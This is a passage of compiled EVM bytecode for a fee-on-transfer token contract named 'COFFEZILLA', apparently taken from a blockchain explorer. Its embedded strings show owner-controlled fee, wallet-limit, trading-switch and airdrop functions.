05180910390f35b34801561046457600080fd5b5061047f600480360381019061047a919061358a565b611002565b005b34801561048d57600080fd5b506104a860048036038101906104a391906136b5565b61105c565b6040516104b5919061356f565b60405180910390f35b3480156104ca57600080fd5b506104d361125c565b6040516104e0919061339c565b60405180910390f35b3480156104f557600080fd5b50610510600480360381019061050b9190613708565b6112de565b60405161051d919061356f565b60405180910390f35b34801561053257600080fd5b5061053b611337565b604051610548919061339c565b60405180910390f35b34801561055d57600080fd5b5061056661133d565b6040516105739190613751565b60405180910390f35b34801561058857600080fd5b506105a3600480360381019061059e919061376c565b611346565b005b3480156105b157600080fd5b506105cc60048036038101906105c79190613323565b611498565b005b3480156105da57600080fd5b506105f560048036038101906105f09190613708565b6115ca565b604051610602919061356f565b60405180910390f35b34801561061757600080fd5b506106206115fd565b60405161062d919061339c565b60405180910390f35b34801561064257600080fd5b5061065d600480360381019061065891906137d3565b611603565b005b34801561066b57600080fd5b506106746116a6565b604051610681919061339c565b60405180910390f35b34801561069657600080fd5b506106b160048036038101906106ac9190613813565b6116ac565b005b3480156106bf57600080fd5b506106c861170e565b6040516106d5919061356f565b60405180910390f35b3480156106ea57600080fd5b5061070560048036038101906107009190613708565b611721565b604051610712919061339c565b60405180910390f35b34801561072757600080fd5b5061073061176a565b60405161073d919061339c565b60405180910390f35b34801561075257600080fd5b5061075b611770565b604051610768919061339c565b60405180910390f35b34801561077d57600080fd5b50610786611776565b6040516107939190613875565b60405180910390f35b3480156107a857600080fd5b506107b161179f565b6040516107be9190613447565b60405180910390f35b3480156107d357600080fd5b506107dc6117dc565b6040516107e9919061339c565b60405180910390f35b3480156107fe57600080fd5b5061081960048036038101906108149190613520565b6117e2565b604051610826919061356f565b60405180910390f35b34801561083b57600080fd5b5061085660048036038101906108519190613495565b61188c565b005b34801561086457600080fd5b5061086d611915565b60405161087a9190613875565b60405180910390f35b34801561088f57600080fd5b506108aa60048036038101906108a59190613520565b61193b565b6040516108b7919061356f565b60405180910390f35b3480156108cc57600080fd5b506108e760048036038101906108e29190613495565b611950565b005b3480156108f557600080fd5b50610910600480360381019061090b9190613813565b611a00565b005b34801561091e57600080fd5b5061093960048036038101906109349190613495565b611a9c565b604051610946919061339c565b60405180910390f35b34801561095b57600080fd5b50610964611b0e565b604051610971919061339c565b60405180910390f35b34801561098657600080fd5b5061098f611b14565b60405161099c919061339c565b60405180910390f35b3480156109b157600080fd5b506109cc60048036038101906109c79190613890565b611b1a565b6040516109d9919061339c565b60405180910390f35b3480156109ee57600080fd5b50610a096004803603810190610a0491906138d0565b611ba1565b005b348015610a1757600080fd5b50610a326004803603810190610a2d919061394e565b611c0e565b005b348015610a4057600080fd5b50610a5b6004803603810190610a5691906137d3565b611d27565b005b348015610a6957600080fd5b50610a72611dca565b604051610a7f91906139da565b60405180910390f35b348015610a9457600080fd5b50610a9d611df0565b604051610aaa919061339c565b60405180910390f35b348015610abf57600080fd5b50610ac8611df6565b604051610ad5919061356f565b60405180910390f35b610ae7336112de565b610b26576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b1d90613a41565b60405180910390fd5b6101f58383905010610b6d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b6490613ad3565b60405180910390fd5b60005b83839050811015610c0a5781600a6000868685818110610b9357610b92613af3565b5b9050602002016020810190610ba89190613708565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080610c0390613b51565b9050610b70565b50505050565b601d5481565b60606040518060400160405280601081526020017f434f4646455a494c4c4120544f4b454e00000000000000000000000000000000815250905090565b610c5c336112de565b610c9b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c9290613a41565b60405180910390fd5b600a811015610cdf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cd690613c0b565b60405180910390fd5b6103e881600554610cf09190613c2b565b610cfa9190613c9c565b60078190555050565b600081600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051610de3919061339c565b60405180910390a36001905092915050565b600082610e0183611a9c565b11905092915050565b610e13336112de565b610e52576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e4990613a41565b60405180910390fd5b6101f58484905010610e99576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e9090613d3f565b60405180910390fd5b818190508484905014610ee1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ed890613dd1565b60405180910390fd5b6000805b85859050811015610f2a57838382818110610f0357610f02613af3565b5b9050602002013582610f159190613df1565b91508080610f2290613b51565b915050610ee5565b5080610f3587611721565b1015610f76576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f6d90613e71565b60405180910390fd5b60005b85859050811015610fe357610fcf87878784818110610f9b57610f9a613af3565b5b9050602002016020810190610fb09190613708565b868685818110610fc357610fc2613af3565b5b90506020020135611e09565b508080610fdb90613b51565b915050610f79565b50505050505050565b60115481565b6000600554905090565b60105481565b61100b336112de565b61104a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161104190613a41565b60405180910390fd5b8160198190555080601a819055505050565b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414611248576111c7826040518060400160405280601681526020017f496e73756666696369656e7420416c6c6f77616e636500000000000000000000815250600960008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fdc9092919063ffffffff16565b600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b611253848484612040565b90509392505050565b60006112d961128c600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611721565b6112cb6112ba600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611721565b60055461258290919063ffffffff16565b61258290919063ffffffff16565b905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16149050919050565b60135481565b60006004905090565b61134f336112de565b61138e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138590613a41565b60405180910390fd5b83601560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555082601660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555081601760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050505050565b6114a1336112de565b6114e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114d790613a41565b60405180910390fd5b6101f58383905010611527576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161151e90613ad3565b60405180910390fd5b60005b838390508110156115c45781600b600086868581811061154d5761154c613af3565b5b90506020020160208101906115629190613708565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550806115bd90613b51565b905061152a565b50505050565b60006115f6827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff610d03565b9050919050565b60145481565b61160c336112de565b61164b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161164290613a41565b60405180910390fd5b80600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600d5481565b6116b5336112de565b6116f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116eb90613a41565b60405180910390fd5b816012819055508260138190555080601481905550505050565b601c60159054906101000a900460ff1681565b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60075481565b60065481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600a81526020017f434f4646455a494c4c4100000000000000000000000000000000000000000000815250905090565b600c5481565b60008273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846040518363ffffffff1660e01b8152600401611841929190613e91565b6020604051808303816000875af1158015611860573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118849190613ecf565b905092915050565b6000479050601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc606484846118db9190613c2b565b6118e59190613c9c565b9081150290604051600060405180830381858888f19350505050158015611910573d6000803e3d6000fd5b505050565b601c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000611948338484612040565b905092915050565b611959336112de565b611998576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161198f90613a41565b60405180910390fd5b60018110156119dc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119d390613f6e565b60405180910390fd5b6103e8816005546119ed9190613c2b565b6119f79190613c9c565b60068190555050565b611a09336112de565b611a48576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a3f90613a41565b60405180910390fd5b82600c8190555081600d8190555080600e81905550611a8281611a7484866125cc90919063ffffffff16565b6125cc90919063ffffffff16565b601081905550600a60105410611a9757600080fd5b505050565b6000611b07611aa961125c565b611af9611aea6002611adc601c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611721565b61262a90919063ffffffff16565b8561262a90919063ffffffff16565b6126a490919063ffffffff16565b9050919050565b600e5481565b600f5481565b6000600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611baa336112de565b611be9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611be090613a41565b60405180910390fd5b81601c60156101000a81548160ff02191690831515021790555080601d819055505050565b611c17336112de565b611c56576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c4d90613a41565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060018060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc68616381604051611d1c9190613faf565b60405180910390a150565b611d30336112de565b611d6f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d6690613a41565b60405180910390fd5b80600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60125481565b601c60149054906101000a900460ff1681565b6000611e94826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600860008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fdc9092919063ffffffff16565b600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f2982600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125cc90919063ffffffff16565b600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611fc9919061339c565b60405180910390a3600190509392505050565b6000838311158290612024576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161201b9190613447565b60405180910390fd5b50600083856120339190613fca565b9050809150509392505050565b6000601e60009054906101000a900460ff161561206957612062848484611e09565b905061257b565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561210d5750600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561216257601c60149054906101000a900460ff16612161576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121589061404a565b60405180910390fd5b5b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156121e857503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156122425750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561229c5750601c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156122f65750601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561235a57600061230684611721565b905060075483826123179190613df1565b1115612358576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161234f906140dc565b60405180910390fd5b505b61236484836126ee565b61236c61278b565b1561237a57612379612862565b5b612403826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600860008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fdc9092919063ffffffff16565b600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600061245185612dec565b1580612463575061246184612dec565b155b61247757612472858486612e43565b612479565b825b90506124cd81600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125cc90919063ffffffff16565b600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161256d919061339c565b60405180910390a360019150505b9392505050565b60006125c483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611fdc565b905092915050565b60008082846125db9190613df1565b905083811015612620576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161261790614148565b60405180910390fd5b8091505092915050565b600080830361263c576000905061269e565b6000828461264a9190613c2b565b90508284826126599190613c9c565b14612699576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612690906141da565b60405180910390fd5b809150505b92915050565b60006126e683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250613219565b905092915050565b600654811115806127485750600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b612787576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161277e90614246565b60405180910390fd5b5050565b6000601c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141580156127f85750601e60009054906101000a900460ff16155b80156128105750601c60159054906101000a900460ff165b801561285d5750601d54600860003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b905090565b6001601e60006101000a81548160ff021916908315150217905550600061288d601954601a54610df5565b61289957600c5461289c565b60005b905060006128dc60026128ce6010546128c086601d5461262a90919063ffffffff16565b6126a490919063ffffffff16565b6126a490919063ffffffff16565b905060006128f582601d5461258290919063ffffffff16565b90506000600267ffffffffffffffff81111561291457612913614266565b5b6040519080825280602002602001820160405280156129425781602001602082028036833780820191505090505b509050308160008151811061295a57612959613af3565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16816001815181106129cb576129ca613af3565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506000479050601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478460008530426040518663ffffffff1660e01b8152600401612a6e95949392919061438e565b600060405180830381600087803b158015612a8857600080fd5b505af1158015612a9c573d6000803e3d6000fd5b505050506000612ab5824761258290919063ffffffff16565b90506000612ae1612ad06002896126a490919063ffffffff16565b60105461258290919063ffffffff16565b90506000612b1d6002612b0f84612b018c8861262a90919063ffffffff16565b6126a490919063ffffffff16565b6126a490919063ffffffff16565b90506000612b4883612b3a600d548761262a90919063ffffffff16565b6126a490919063ffffffff16565b90506000612b86600a612b7886612b6a600e548a61262a90919063ffffffff16565b6126a490919063ffffffff16565b6126a490919063ffffffff16565b90506000601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168361753090604051612bd490614419565b600060405180830381858888f193505050503d8060008114612c12576040519150601f19603f3d011682016040523d82523d6000602084013e612c17565b606091505b50509050601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168261753090604051612c6590614419565b600060405180830381858888f193505050503d8060008114612ca3576040519150601f19603f3d011682016040523d82523d6000602084013e612ca8565b606091505b5050809150506000905060008a1115612dc457601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71985308d600080601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518863ffffffff1660e01b8152600401612d449695949392919061442e565b60606040518083038185885af1158015612d62573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190612d8791906144a4565b5050507f424db2872186fa7e7afa7a5e902ed3b49a2ef19c2f5431e672462495dd6b4506848b604051612dbb9291906144f7565b60405180910390a15b50505050505050505050506000601e60006101000a81548160ff021916908315150217905550565b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16159050919050565b6000806014549050601c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612eaa576012549050612f06565b601c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1603612f055760135490505b5b6000612f4f6064601154612f1a9190613c2b565b612f4184612f336010548a61262a90919063ffffffff16565b61262a90919063ffffffff16565b6126a490919063ffffffff16565b90506000612f7c601054612f6e600f548561262a90919063ffffffff16565b6126a490919063ffffffff16565b90506000612f93828461258290919063ffffffff16565b9050612fe781600860003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125cc90919063ffffffff16565b600860003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061309e8260086000601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125cc90919063ffffffff16565b60086000601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051613160919061339c565b60405180910390a360008211156131f957601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516131f0919061339c565b60405180910390a35b61320c838861258290919063ffffffff16565b9450505050509392505050565b60008083118290613260576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016132579190613447565b60405180910390fd5b506000838561326f9190613c9c565b9050809150509392505050565b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b60008083601f8401126132ab576132aa613286565b5b8235905067ffffffffffffffff8111156132c8576132c761328b565b5b6020830191508360208202830111156132e4576132e3613290565b5b9250929050565b60008115159050919050565b613300816132eb565b811461330b57600080fd5b50565b60008135905061331d816132f7565b92915050565b60008060006040848603121561333c5761333b61327c565b5b600084013567ffffffffffffffff81111561335a57613359613281565b5b61336686828701613295565b935093505060206133798682870161330e565b9150509250925092565b6000819050919050565b61339681613383565b82525050565b60006020820190506133b1600083018461338d565b92915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156133f15780820151818401526020810190506133d6565b60008484015250505050565b6000601f19601f8301169050919050565b6000613419826133b7565b61342381856133c2565b93506134338185602086016133d3565b61343c816133fd565b840191505092915050565b60006020820190508181036000830152613461818461340e565b905092915050565b61347281613383565b811461347d57600080fd5b50565b60008135905061348f81613469565b92915050565b6000602082840312156134ab576134aa61327c565b5b60006134b984828501613480565b91505092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006134ed826134c2565b9050919050565b6134fd816134e2565b811461350857600080fd5b50565b60008135905061351a816134f4565b92915050565b600080604083850312156135375761353661327c565b5b60006135458582860161350b565b925050602061355685828601613480565b9150509250929050565b613569816132eb565b82525050565b60006020820190506135846000830184613560565b92915050565b600080604083850312156135a1576135a061327c565b5b60006135af85828601613480565b92505060206135c085828601613480565b9150509250929050565b60008083601f8401126135e0576135df613286565b5b8235905067ffffffffffffffff8111156135fd576135fc61328b565b5b60208301915083602082028301111561361957613618613290565b5b9250929050565b60008060008060006060868803121561363c5761363b61327c565b5b600061364a8882890161350b565b955050602086013567ffffffffffffffff81111561366b5761366a613281565b5b61367788828901613295565b9450945050604086013567ffffffffffffffff81111561369a57613699613281565b5b6136a6888289016135ca565b92509250509295509295909350565b6000806000606084860312156136ce576136cd61327c565b5b60006136dc8682870161350b565b93505060206136ed8682870161350b565b92505060406136fe86828701613480565b9150509250925092565b60006020828403121561371e5761371d61327c565b5b600061372c8482850161350b565b91505092915050565b600060ff82169050919050565b61374b81613735565b82525050565b60006020820190506137666000830184613742565b92915050565b600080600080608085870312156137865761378561327c565b5b60006137948782880161350b565b94505060206137a58782880161350b565b93505060406137b68782880161350b565b92505060606137c78782880161350b565b91505092959194509250565b600080604083850312156137ea576137e961327c565b5b60006137f88582860161350b565b92505060206138098582860161330e565b9150509250929050565b60008060006060848603121561382c5761382b61327c565b5b600061383a86828701613480565b935050602061384b86828701613480565b925050604061385c86828701613480565b9150509250925092565b61386f816134e2565b82525050565b600060208201905061388a6000830184613866565b92915050565b600080604083850312156138a7576138a661327c565b5b60006138b58582860161350b565b92505060206138c68582860161350b565b9150509250929050565b600080604083850312156138e7576138e661327c565b5b60006138f58582860161330e565b925050602061390685828601613480565b9150509250929050565b600061391b826134c2565b9050919050565b61392b81613910565b811461393657600080fd5b50565b60008135905061394881613922565b92915050565b6000602082840312156139645761396361327c565b5b600061397284828501613939565b91505092915050565b6000819050919050565b60006139a061399b613996846134c2565b61397b565b6134c2565b9050919050565b60006139b282613985565b9050919050565b60006139c4826139a7565b9050919050565b6139d4816139b9565b82525050565b60006020820190506139ef60008301846139cb565b92915050565b7f214f574e45520000000000000000000000000000000000000000000000000000600082015250565b6000613a2b6006836133c2565b9150613a36826139f5565b602082019050919050565b60006020820190508181036000830152613a5a81613a1e565b9050919050565b7f474153204572726f723a206d6178206c696d697420697320353030206164647260008201527f6573736573000000000000000000000000000000000000000000000000000000602082015250565b6000613abd6025836133c2565b9150613ac882613a61565b604082019050919050565b60006020820190508181036000830152613aec81613ab0565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000613b5c82613383565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203613b8e57613b8d613b22565b5b600182019050919050565b7f4d61782057616c6c65742063616e6e6f74206265206c6f776572207468616e2060008201527f312520746f74616c20737570706c792e00000000000000000000000000000000602082015250565b6000613bf56030836133c2565b9150613c0082613b99565b604082019050919050565b60006020820190508181036000830152613c2481613be8565b9050919050565b6000613c3682613383565b9150613c4183613383565b9250828202613c4f81613383565b91508282048414831517613c6657613c65613b22565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613ca782613383565b9150613cb283613383565b925082613cc257613cc1613c6d565b5b828204905092915050565b7f474153204572726f723a206d61782061697264726f70206c696d69742069732060008201527f3530302061646472657373657300000000000000000000000000000000000000602082015250565b6000613d29602d836133c2565b9150613d3482613ccd565b604082019050919050565b60006020820190508181036000830152613d5881613d1c565b9050919050565b7f4d69736d61746368206265747765656e204164647265737320616e6420746f6b60008201527f656e20636f756e74000000000000000000000000000000000000000000000000602082015250565b6000613dbb6028836133c2565b9150613dc682613d5f565b604082019050919050565b60006020820190508181036000830152613dea81613dae565b9050919050565b6000613dfc82613383565b9150613e0783613383565b9250828201905080821115613e1f57613e1e613b22565b5b92915050565b7f4e6f7420656e6f75676820746f6b656e7320696e2077616c6c65740000000000600082015250565b6000613e5b601b836133c2565b9150613e6682613e25565b602082019050919050565b60006020820190508181036000830152613e8a81613e4e565b9050919050565b6000604082019050613ea66000830185613866565b613eb3602083018461338d565b9392505050565b600081519050613ec9816132f7565b92915050565b600060208284031215613ee557613ee461327c565b5b6000613ef384828501613eba565b91505092915050565b7f4d6178205472616e73616374696f6e2063616e6e6f74206265206c6f7765722060008201527f7468616e20302e312520746f74616c20737570706c792e000000000000000000602082015250565b6000613f586037836133c2565b9150613f6382613efc565b604082019050919050565b60006020820190508181036000830152613f8781613f4b565b9050919050565b6000613f99826139a7565b9050919050565b613fa981613f8e565b82525050565b6000602082019050613fc46000830184613fa0565b92915050565b6000613fd582613383565b9150613fe083613383565b9250828203905081811115613ff857613ff7613b22565b5b92915050565b7f54726164696e67206e6f74206f70656e20796574000000000000000000000000600082015250565b60006140346014836133c2565b915061403f82613ffe565b602082019050919050565b6000602082019050818103600083015261406381614027565b9050919050565b7f546f74616c20486f6c64696e672069732063757272656e746c79206c696d697460008201527f65642c20796f752063616e206e6f74206275792074686174206d7563682e0000602082015250565b60006140c6603e836133c2565b91506140d18261406a565b604082019050919050565b600060208201905081810360008301526140f5816140b9565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000614132601b836133c2565b915061413d826140fc565b602082019050919050565b6000602082019050818103600083015261416181614125565b9050919050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b60006141c46021836133c2565b91506141cf82614168565b604082019050919050565b600060208201905081810360008301526141f3816141b7565b9050919050565b7f5458204c696d6974204578636565646564000000000000000000000000000000600082015250565b60006142306011836133c2565b915061423b826141fa565b602082019050919050565b6000602082019050818103600083015261425f81614223565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000819050919050565b60006142ba6142b56142b084614295565b61397b565b613383565b9050919050565b6142ca8161429f565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b614305816134e2565b82525050565b600061431783836142fc565b60208301905092915050565b6000602082019050919050565b600061433b826142d0565b61434581856142db565b9350614350836142ec565b8060005b83811015614381578151614368888261430b565b975061437383614323565b925050600181019050614354565b5085935050505092915050565b600060a0820190506143a3600083018861338d565b6143b060208301876142c1565b81810360408301526143c28186614330565b90506143d16060830185613866565b6143de608083018461338d565b9695505050505050565b600081905092915050565b50565b60006144036000836143e8565b915061440e826143f3565b600082019050919050565b6000614424826143f6565b9150819050919050565b600060c0820190506144436000830189613866565b614450602083018861338d565b61445d60408301876142c1565b61446a60608301866142c1565b6144776080830185613866565b61448460a083018461338d565b979650505050505050565b60008151905061449e81613469565b92915050565b6000806000606084860312156144bd576144bc61327c565b5b60006144cb8682870161448f565b93505060206144dc8682870161448f565b92505060406144ed8682870161448f565b9150509250925092565b600060408201905061450c600083018561338d565b614519602083018461338d565b939250505056fea2646970667358221220b2fd2151c4c5a823738ef33dfd0986ac8ecc715cae8e5c99219bcdd476f3820c64736f6c63430008110033

Deployed Bytecode

